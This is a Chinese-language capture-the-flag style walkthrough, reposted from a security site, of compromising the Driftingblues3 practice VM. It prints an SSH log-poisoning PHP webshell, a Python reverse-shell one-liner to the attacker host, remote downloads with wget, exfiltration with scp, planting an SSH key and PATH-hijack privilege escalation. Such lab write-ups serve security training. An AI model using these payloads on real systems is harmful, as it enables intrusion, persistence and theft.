Driftingblues3靶机渗透

admin 2021年3月25日18:15:20Driftingblues3靶机渗透已关闭评论174 views字数 2378阅读7分55秒阅读模式

Driftingblues3靶机练习

网络结构:

环境搭建平台为VMware15,使用VirtualBox亦可,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机组成

靶机ip:192.168.1.146

kali linux ip:192.168.1.137

靶机获取:https://www.vulnhub.com/entry/driftingblues-3,656/

信息收集:

主机发现:

nmap -sP 192.168.1.0/24

如图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.146

Driftingblues3靶机渗透

端口扫描:

nmap -p 1-65535 -A 192.168.1.146 -sV -T4

如图,靶机开放了80端口http服务和22端口ssh服务

Driftingblues3靶机渗透

访问主机的80端口,可以看到web主页,并没有什么特殊的跳转地址

Driftingblues3靶机渗透

目录爆破:

使用dirb进行目录遍历:

dirb "http://192.168.1.146" /usr/share/dirb/wordlists/big.txt

Driftingblues3靶机渗透

依次访问后,并没有发现什么特别的页面,包括/phpmyadmin页面,并非数据库管理页面,只是一个静态页面

Driftingblues3靶机渗透

同时使用dirsearch对目标主机进行遍历,补充爆破结果,但遍历后结果类似

python dirsearch.py -u 192.168.1.146

Driftingblues3靶机渗透

尝试访问主机的robots.txt,给出了一个/eventadmins目录

Driftingblues3靶机渗透

访问,是一个静态页面

Driftingblues3靶机渗透

但查看页面源码时,给出了一个页面/littlequeenofspades.html,访问看看,同样是一个静态页面

Driftingblues3靶机渗透

再次查看页面源代码,这次给了一串base64加密的密文

Driftingblues3靶机渗透

两次解密后,得到一个php页面

Driftingblues3靶机渗透

访问测试,看到此页面为一个ssh访问日志

Driftingblues3靶机渗透

漏洞挖掘:

在日志中可以看到,即便是访问失败的用户,日志也同样会记录下用户名等信息,这里使用一个abcdef用户进行测试

Driftingblues3靶机渗透

如图,用户名已被记录

Driftingblues3靶机渗透

既然日志会完全记录ssh登录用户名,又没有对用户名进行限制,这里我们可以利用日志进行反弹shell

ssh '<?php system($_GET['cmd']);?>'@192.168.1.146

Driftingblues3靶机渗透

带入参数进行测试,如图,构造的命令已经成功带入进日志

Driftingblues3靶机渗透

这里只需要再构造一个反弹shell的payload,首先kali监听端口

Driftingblues3靶机渗透

web端注入payload

export RHOST="192.168.1.137";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

反弹成功

Driftingblues3靶机渗透

权限提升:

首先获取一个交互shell

python -c "import pty;pty.spawn('/bin/bash');"

Driftingblues3靶机渗透

用LinEnum获取一下本地信息,LinEnum.sh是一个本地信息收集脚本,可以收集包括服务、内核版本、suid文件等各种信息

本地搭建http服务器,将要传输的文件放置在此目录

python3 -m http.server 8001

Driftingblues3靶机渗透

靶机端下载此文件

wget http://192.168.1.137:8000/LinEnum.sh

运行脚本

Driftingblues3靶机渗透

将运行结果移出来

scp 1.txt [email protected]:/root/1.txt

Driftingblues3靶机渗透

收集结果中可以看到,在设置了suid的文件中,除了部分系统命令,还有一个getinfo文件,很显然为自创文件

Driftingblues3靶机渗透

但我们现在的www用户并没有此文件的任何权限,想利用这个文件,还需要切换其他用户,在收集结果中同样可以看到,passwd文件我们是有读权限的,看下用户

Driftingblues3靶机渗透

如上图,robertj用户是/bin/bash,允许登录的

靶机的web服务很有限,且在做信息收集的过程中并没有看到什么类似配置文件的线索,系统版本也很高,三个月前刚刚发布,没有发现什么可利用的内核漏洞,只能从ssh入手了

查看ssh配置文件,/etc/ssh/sshd_config,如下图PubkeyAuthentication选项参数值为yes,打开这个功能,表示ssh允许公钥登录,下面也给出了公钥文件的存放目录

Driftingblues3靶机渗透

我们先在kali端用ssh-keygen生成公私钥对

Driftingblues3靶机渗透

Driftingblues3靶机渗透

之后再搭建一次http服务,将这个文件下载到靶机

wget http://192.168.1.137:8001/robertj.pub

Driftingblues3靶机渗透

修改文件名为authorized_keys,并复制到指定目录

Driftingblues3靶机渗透

使用ssh,以robertj用户身份登录

ssh -i robertj [email protected]

登录成功,查看一下robertj家目录下的flag文件,无误

Driftingblues3靶机渗透

此时可以运行之前我们看到的那个getinfo文件

Driftingblues3靶机渗透

可以看到,执行命令后,给我们返回了系统的网络信息、版本信息、以及中间这个,大概是靶机的hosts文件,猜测是调用了ifconfig、cat hosts、和uname命令

这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权

首先编写一个cat文件,内容为/bin/bash即可,然后添加当前文件添加到环境变量中

export PATH=/home/robertj:$PATH

Driftingblues3靶机渗透

添加权限

Driftingblues3靶机渗透

再次运行getinfo,提权成功

Driftingblues3靶机渗透

查看flag

Driftingblues3靶机渗透

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月25日18:15:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Driftingblues3靶机渗透https://cn-sec.com/archives/299971.html